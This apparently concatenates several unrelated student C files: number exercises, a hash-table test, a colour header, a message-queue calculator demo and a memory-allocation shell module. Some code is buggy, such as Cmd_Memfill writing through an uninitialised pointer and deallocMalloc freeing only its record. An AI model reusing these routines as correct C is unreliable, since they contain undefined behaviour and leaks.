for(x=l+1;x<=u-1;x++)
{
for(i=2;i<x;i++)
if(x%i==0)
break;
if(i==x)
printf("%d \n",x);
}
return 0;
}*/
// program to print all prime factor of A given number
/*
int main()
{
int n,i;
printf("Enter a number:");
scanf("%d",&n);
for(i=2;i<=n ;i++)
while(n%i==0){
printf("%d\n",i);
n=n/i;
}
i++;
return 0;
}*/
//program to print fst N term of fibonacci series
/*
int main()
{
int i,n,a=-1,b=1,c;
printf("Enter a number:");
scanf("%D",&n);
for(i=1;i<=n;i++){
c=a+b;
printf("%d\t",c);
a=b;
b=c;
}
return 0;
}*/
//
|
C | #include"hashlib.h"
#include <stdlib.h>
#include <string.h>
void cover_test(TABLE* t) {
HTERR err;
Data d;
// inv ptr
htable_insert(NULL, d, &err);
if(err != HTERR_INVPTR) {
printf("cover_test_inv_ptr: test1 failed!");
exit(1);
}
htable_print(NULL, &err);
if(err != HTERR_INVPTR) {
printf("cover_test_inv_ptr: test2 failed!");
exit(1);
}
htable_search(NULL, d, &err);
if(err != HTERR_INVPTR) {
printf("cover_test_inv_ptr: test3 failed!");
exit(1);
}
htable_remove_element(NULL, d, &err);
if(err != HTERR_INVPTR) {
printf("cover_test_inv_ptr: test4 failed!");
exit(1);
}
htable_remove(NULL, &err);
if(err != HTERR_INVPTR) {
printf("cover_test_inv_ptr: test5 failed!");
exit(1);
}
//
int a3[] = {1,4,3,3,2,2,2,6,7,8,9,0};
Data test_data3;
test_data3.size = 12*4;
test_data3.arr = a3;
if(htable_remove_element(t, test_data3, &err) == 0 || err != HTERR_NO_SUCH_ELEM) {
printf("cover_test_ no_such_elem: test6 failed!");
exit(1);
}
//
char a5[] = {1,4,3,3,2,2,4,4,4,4,44,4,5,6,7,2,5,17,70,10,1,1,1,1,1,1,1,1,1};
Data test_data5;
test_data5.size = 29;
test_data5.arr = a5;
if(htable_search(t, test_data5, &err) != NULL)
printf("cover_test_ no_such_elem: test7 failed!");
}
void full_table_trash(TABLE* t) {
for(int i = 0; i < 10; i++) {
size_t size = 15;
Data* d = (Data*)malloc(sizeof(Data));
d->size = 12;
d->arr = malloc(size*sizeof(char));
char* temp = (char*)d->arr;
for(int j = 0; j < size; j++) {
temp[j] = i*j+i;
}
htable_insert(t, *d, NULL);
free(temp);
free(d);
}
}
int main() {
HTERR err = HTERR_SUCCESS;
TABLE* t = create_hash_table(4, &err);
//generate data
char a1[] = {2,5,4,2,5,4,4};
Data test_data1;
test_data1.size = 7;
test_data1.arr = a1;
char a2[] = {1,1,1,1,1,2,2};
Data test_data2;
test_data2.size = 7;
test_data2.arr = a2;
int a3[] = {1,4,3,3,2,2,2};
Data test_data3;
test_data3.size = 7*4;
test_data3.arr = a3;
char a4[] = {1,4,3,3,2,2,2,5,6,7,8,9,10,20,10};
Data test_data4;
test_data4.size = 15;
test_data4.arr = a4;
char a5[] = {1,4,3,3,2,2,4,4,4,4,44,4,5,6,7,2,5,10,20,10};
Data test_data5;
test_data5.size = 20;
test_data5.arr = a5;
Data *data_massive = (Data*)malloc(3*sizeof(Data));
data_massive[0] = test_data1;
data_massive[1] = test_data2;
data_massive[2] = test_data3;
htable_insert(t, test_data1, &err);
htable_insert(t, test_data2, &err);
htable_insert(t, test_data3, &err);
htable_insert(t, test_data4, &err);
htable_insert(t, test_data5, &err);
htable_insert(t, test_data5, &err);
//full_table_trash(t);
//
//Data *data_massive = generate_data(t);
//cover errors
cover_test(t);
//
htable_print(t, &err);
printf("\n\n ---some print----\n%i\n", ((char*)(htable_search(t,test_data5, &err)->arr))[0]);
printf("\n number collisions: %i\n", t->number_collisions);
printf("%i\n ----some print----\n\n", ((char*)(htable_search(t,test_data3, &err)->arr))[0]);
htable_remove_element(t, test_data3, &err);
//htable_insert(t, test_data3, &err);
//printf("kok %i", ((char*)(htable_search(t,test_data3, &err)->arr))[0]);
htable_remove_element(t, test_data3, &err);
htable_insert(t, test_data3, &err);
htable_remove_element(t, test_data3, &err);
htable_print(t, &err);
printf("\n number collisions: %i", t->number_collisions);
htable_remove_element(t, test_data2, &err);
htable_print(t, &err);
htable_remove(t, &err);
free(data_massive);
return 0;
} |
C | /*
* Project: colors.h
* Description: Header file for color mapping
* Brian Rashap
* 10-Feb-2020
*/
#ifndef _COLORS_H_
#define _COLORS_H_
const int black = 0x000000;
const int white = 0xFFFFFF;
const int red = 0xFF0000;
const int lime = 0x00FF00;
const int blue = 0x0000FF;
const int yellow = 0xFFFF00;
const int cyan = 0x00FFFF;
const int magenta = 0xFF00FF;
const int silver = 0xC0C0C0;
const int gray = 0x808080;
const int maroon = 0x800000;
const int olive = 0x808000;
const int green = 0x008000;
const int purple = 0x800080;
const int teal = 0x008080;
const int navy = 0x000080;
const int orange = 0xFFA500;
const int indigo = 0x4B0082;
const int violet = 0x9400D3;
const int maize = 0xF2C649;
const int pink = 0xFFC0CB;
const int turquoise = 0x40E0D0;
const int carrot = 0xED9121;
const int chocolate = 0xD2691E;
const int salmon = 0xC67171;
const int tomato = 0xFF6347;
const int rainbow[] = {red, orange, yellow, green, blue, indigo,violet};
#endif // _COLORS_H_
|
C | /*----------------------------------------------------------------------
Demo of IPC using Message Queues: The Calculator process
Written By: Team-00
1- Dr. Mohamed Aboutabl
2- Dr. Mohamed Aboutabl
Submitted on: 10/06/2015
----------------------------------------------------------------------*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/msg.h>
#include "message.h"
/* -------------------------------------------------------------------*/
int main ( int argc , char * argv[] )
{
msgBuf msg ;
key_t msgQueKey ;
int queID ;
int msgStatus ;
int result ;
printf("This is the Calculator process (id = %d).\t\n" , getpid() );
/* Create / Find the message queues */
msgQueKey = BASE_MAILBOX_NAME ;
queID = msgget( msgQueKey , IPC_CREAT | 0600 ) ; /*rw. ... ...*/
if ( queID < 0 ) {
printf("Failed to create mailbox %X. Error code=%d\n"
, msgQueKey , errno ) ;
exit(-2) ;
}
else
printf( "The Calculator process created/found mailbox %X with qid=%d\n"
, msgQueKey , queID ) ;
/* Now, wait for a message to arrive from the User process */
printf ("\nI am now waiting to receive request ...\n" );
msgStatus = msgrcv( queID , &msg , MSG_INFO_SIZE , 1 , 0 );
if ( msgStatus < 0 )
{
printf("Failed to receive message from User process on queuID %d. Error code=%d\n"
, queID , errno ) ;
exit(-2) ;
}
else
{
printf("Calculator received the following message from the User:\n" );
printMsg( & msg );
printf("\n");
}
/* prepare the result to send back to the User process */
switch ( msg.info.operation )
{
case '+': result = msg.info.num1 + msg.info.num2 ;
break ;
case '-': result = msg.info.num1 - msg.info.num2 ;
break ;
case '*': result = msg.info.num1 * msg.info.num2 ;
break ;
default: printf("\nINVALID operation\n" );
result = -9999 ;
} ;
msg.info.result = result ;
msg.mtype = 2; /* this is a "Reply" message type */
msg.info.sender = getpid() ;
/* Send the result message to the User process */
msgStatus = msgsnd( queID , &msg , MSG_INFO_SIZE , 0 ) ; /* the msg flag is set to 0 */
if ( msgStatus < 0 )
{
printf("Failed to send message to User process on queuID %d. Error code=%d\n"
, queID , errno ) ;
exit(-2) ;
}
else
{
printf("Calculator sent the following message to the User:\n" );
printMsg( & msg );
printf("\n" );
}
printf("\n" );
return 0 ;
}
|
C | /*
* aufgabe3.h
*
* Created on: 07.12.2012
* Author: roland
*/
#ifndef AUFGABE3_H_
#define AUFGABE3_H_
__BEGIN_DECLS
/**
* @brief Stop waste time
*
* Function will be called through signal handler
*/
void stop_looping_aufgabe3(void);
/**
* @brief Set calculated loop counter thread safe
* @param a_count_loops calculated loop counter to store
* @retval false Failure mutex lock or unlock
* @retval true On success
*
* Function set calculated loop counter thread safe.
*/
bool set_count_loops(unsigned int a_count_loops);
/**
* @brief Get calculated loop counter thread safe
* @param a_count_loops calculated loop counter to store
* @retval 0 Failure mutex lock or unlock
* @retval >0 On success counted loops
*
* Function get the stored loop counter thread safe.
*/
unsigned int get_count_loops(void);
/**
* @brief Waste amount of milliseconds
* @param msec Wasted millisecond
* @retval false Exceed time limit
* @retval true On success
*
* Function waste time without hardware support.
* Run a certain value in a loop.
* Function can be stopped by signal handler.
*/
bool waste_time(unsigned int msec);
/**
* @brief Determine loop counter for waste time
* @retval false Ticks could not be determined by clock()
* @retval true On success
*
* Function determine the loop counter for 1 msec,
* use waste_time for calculation.
*/
bool init_waste_time(void);
__END_DECLS
#endif /* AUFGABE3_H_ */
|
C | #include "list.h"
// variables globales declaradas exclusivamente para -show-vars
int global1 = 10, global2 = 420, global3 = 69;
void createMemoryList( memoryList *feed ) {
feed -> lastPos = NULLH;
}
void insertMemoryList ( memoryList *feed, internalList *example ) {
internalList *tmp = example;
if (feed->lastPos == MAX-1) {
return;
} else {
feed -> lastPos++;
feed -> allocated[feed->lastPos] = tmp;
}
}
void showMemoryList( memoryList *feed, char type[] ) {
if ( strcmp(type, "all") == 0 ){
showMemoryList(feed, "malloc");
showMemoryList(feed, "mmap");
showMemoryList(feed, "shared");
} else if ( strcmp(type, "malloc") == 0 ) {
for ( int i = 0; i <= feed->lastPos; i++ ){
if ( feed -> lastPos < 0 ) {
return;
}
if ( strcmp(feed->allocated[i]->type, "malloc") == 0) {
time_t raw_time = feed->allocated[i]->time;
struct tm *timeInfo;
timeInfo = localtime( &raw_time );
printf("%p : size:%10d %8s %16s", feed->allocated[i]->address, feed->allocated[i]->size, feed->allocated[i]->type,asctime(timeInfo));
}
}
} else if ( strcmp(type, "mmap") == 0 ) {
for ( int i = 0; i <= feed->lastPos; i++ ){
if ( strcmp(feed->allocated[i]->type, "mmap") == 0) {
time_t raw_time = feed->allocated[i]->time;
struct tm *timeInfo;
timeInfo = localtime( &raw_time );
printf("%p : size:%10d %8s %8s (fd:%d) %16s", feed->allocated[i]->address, feed->allocated[i]->size, feed->allocated[i]->type, feed->allocated[i]->file_name, feed->allocated[i]->var, asctime(timeInfo));
}
}
} else if ( strcmp(type, "shared") == 0 ) {
for ( int i = 0; i <= feed->lastPos; i++ ) {
if ( strcmp(feed->allocated[i]->type, "shared memory") == 0) {
time_t raw_time = feed->allocated[i]->time;
struct tm *timeInfo;
timeInfo = localtime( &raw_time );
printf("%p : size:%10d %8s (key %d) %16s", feed->allocated[i]->address, feed->allocated[i]->size, feed->allocated[i]->type, feed->allocated[i]->var, asctime(timeInfo));
}
}
}
}
void deallocMalloc ( memoryList *feed, int var, char type[] ) {
if ( strcmp( type, "malloc" ) == 0 ) {
for ( int i = 0; i <= feed->lastPos; i++ ) {
if ( (feed -> allocated[i] -> size) == var ) {
printf("deallocated %d at %p \n",feed -> allocated[i] -> size, feed -> allocated[i] -> address );
free ( feed -> allocated[i] );
feed -> lastPos--;
return;
}
}
printf("There is no block of that size assigned with malloc\n");
}
}
void show_vars_addresses () {
int local1 = 10, local2 = 20, local3 = 30;
printf("Variables locales: \t %p, \t %p, \t %p \n", &local1, &local2, &local3 );
printf("Variables globales: \t %p, \t %p, \t %p \n", &global1, &global2, &global3 );
}
void show_function_addresses () {
printf("Funciones programa: \t %p, \t %p, \t %p \n", &TrocearCadena, &show_vars_addresses, &show_function_addresses );
printf("Funciones libreria: \t %p, \t %p, \t %p \n", &printf , &fgets, &remove );
}
void empty_show () {
printf("Funciones programa: \t %p, \t %p, \t %p \n", &TrocearCadena, &show_vars_addresses, &show_function_addresses );
show_vars_addresses();
}
void doRecursiva (int n) {
char automatico[AUTO];
static char estatico[AUTO];
printf ("parametro n:%d en %p \t",n,&n);
printf ("array estatico en:%p \t",estatico);
printf ("array automatico en %p \n",automatico);
n--;
if (n>=0)
doRecursiva(n);
}
// Functions from pdf
void Cmd_AllocateMmap (char *file, char *permissions, memoryList *feed) { /*file is the file name and permissions are the permissions*/
char *perm;
void *p;
int protection=0;
if (file==NULL)
{ showMemoryList( feed, "mmap" ); return;}
if ((perm=permissions)!=NULL && strlen(perm)<4) {
if (strchr(perm,'r')!=NULL) protection|=PROT_READ;
if (strchr(perm,'w')!=NULL) protection|=PROT_WRITE;
if (strchr(perm,'x')!=NULL) protection|=PROT_EXEC;
}
if ((p=MmapFichero(file,protection, feed))==NULL)
perror ("Imposible mapear fichero");
else
printf ("fichero %s mapeado en %p\n", file, p);
}
void * MmapFichero (char * fichero, int protection, memoryList *feed) {
int df, map=MAP_PRIVATE,modo=O_RDONLY;
struct stat s;
void *p;
if (protection&PROT_WRITE) modo=O_RDWR;
if (stat(fichero,&s)==-1 || (df=open(fichero, modo))==-1)
return NULL;
if ((p=mmap (NULL,s.st_size, protection,map,df,0))==MAP_FAILED)
return NULL;
internalList *internal;
internal = ( internalList* ) malloc (409600*sizeof(internalList));
internal -> address = p;
strcpy (internal -> file_name, fichero);
internal -> size = s.st_size;
strcpy ( internal->type, "mmap" );
internal -> var = df;
internal -> time = time(NULL);
insertMemoryList(feed, internal);
return p;
}
void Cmd_AlocateCreateShared (char *key, char *size, memoryList *feed) { /*key is the key and size is the size*/
key_t k;
size_t tam=0;
void *p;
if (key==NULL || size==NULL) { showMemoryList(feed, "createshared"); return;}
k=(key_t) atoi(key);
if ( size != NULL ) {
tam=(size_t) atoll(size);
}
if ((p=ObtenerMemoriaShmget(k,tam, feed))==NULL)
perror ("Imposible obtener memoria shmget");
else
printf ("Memoria de shmget de clave %d asignada en %p\n",k,p);
}
void * ObtenerMemoriaShmget (key_t clave, size_t tam, memoryList *feed) {
void * p;
int aux,id,flags=0777;
struct shmid_ds s;
if (tam) /*si tam no es 0 la crea en modo exclusivo */
flags=flags | IPC_CREAT | IPC_EXCL;
/*si tam es 0 intenta acceder a una ya creada*/
if (clave==IPC_PRIVATE) { /*no nos vale*/
errno=EINVAL; return NULL;}
if ((id=shmget(clave, tam, flags))==-1)
return (NULL);
if ((p=shmat(id,NULL,0))==(void*) -1){
aux=errno; /*si se ha creado y no se puede mapear*/
if (tam) /*se borra */
shmctl(id,IPC_RMID,NULL);
errno=aux;
return (NULL);
}
shmctl (id,IPC_STAT,&s);
internalList *internal;
internal = ( internalList* ) malloc (409600*sizeof(internalList));
internal -> address = p;
internal -> size = s.shm_segsz ;
strcpy ( internal->type, "shared memory");
internal -> var = clave;
internal -> time = time(NULL);
insertMemoryList(feed, internal);
return (p);
}
void Cmd_dopmap () /*no arguments necessary*/ {
pid_t pid;
char elpid[32];
char *argv[3]={"pmap",elpid,NULL};
sprintf (elpid,"%d", (int) getpid());
if ((pid=fork())==-1){
perror ("Imposible crear proceso");
return;
}
if (pid==0){
if (execvp(argv[0],argv)==-1)
perror("cannot execute pmap");
exit(1);
}
waitpid (pid,NULL,0);
}
void Cmd_deletekey (char llave[]) /*arg[0] points to a str containing the key*/ {
key_t clave;
int id;
char *key=llave;
if (key==NULL || (clave=(key_t) strtoul(key,NULL,10))==IPC_PRIVATE){
printf (" rmkey clave_valida\n");
return;
}
if ((id=shmget(clave,0,0666))==-1){
perror ("shmget: imposible obtener memoria compartida");
return;
}
if (shmctl(id,IPC_RMID,NULL)==-1)
perror ("shmctl: imposible eliminar memoria compartida\n");
}
void Cmd_AllocateShared (char * key, memoryList *feed) {
key_t k;
size_t tam=0;
void *p;
if (key==NULL){
showMemoryList(feed, "shared");
return;
}
k=(key_t) atoi(key);
if ((p=ObtenerMemoriaShmget(k,tam,feed))==NULL)
perror ("Cannot allocate");
else
printf ("Allocated shared memory (key %d) at %p\n",k,p);
}
void Cmd_AllocateMalloc ( char *size, memoryList *feed ) {
internalList *internal;
internal = ( internalList* ) malloc (409600*sizeof(internalList));
if ( size != NULL ) {
long int *i = malloc (atoi(size));
internal->address = i;
internal->size = atoi( size );
internal->time = time(NULL);
strcpy( internal->type, "malloc");
insertMemoryList(feed, internal);
printf("allocated %d at %p \n", atoi(size), i);
} else {
showMemoryList(feed,"malloc");
}
}
ssize_t LeerFichero (char *fich, void *p, ssize_t n) { /*n=-1 indica que se lea todo*/
ssize_t nleidos,tam=n;
int df, aux;
struct stat s;
if (stat (fich,&s)==-1 || (df=open(fich,O_RDONLY))==-1)
return ((ssize_t)-1);
if (n==LEERCOMPLETO)
tam=(ssize_t) s.st_size;
if ((nleidos=read(df,p, tam))==-1){
aux=errno;
close(df);
errno=aux;
return ((ssize_t)-1);
}
close (df);
return (nleidos);
}
void Cmd_Memfill(void *p,ssize_t c,unsigned char b){
unsigned char byte = 65;
int cont=128;
unsigned char *word;
if(p==NULL)
return;
if(c!=NULL)
cont = atoi(c);
if(b!=NULL)
byte = strtoul(b,NULL,0);
for(int i=0; i<cont; i++){
word[i] = byte;
}
}
// void Cmd_Memdump(void* address, size_t tam){
// int cont=25;
// size_t i;
// if(tam!=NULL)
// cont = atoi(tam);
// for (i=0;i<cont;i++){
// printf("Data in [%p..%p): ",data,data+len);
// printf("%02X ", ((unsigned char*)data)[i] );
// printf("\n");
// }
// } |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.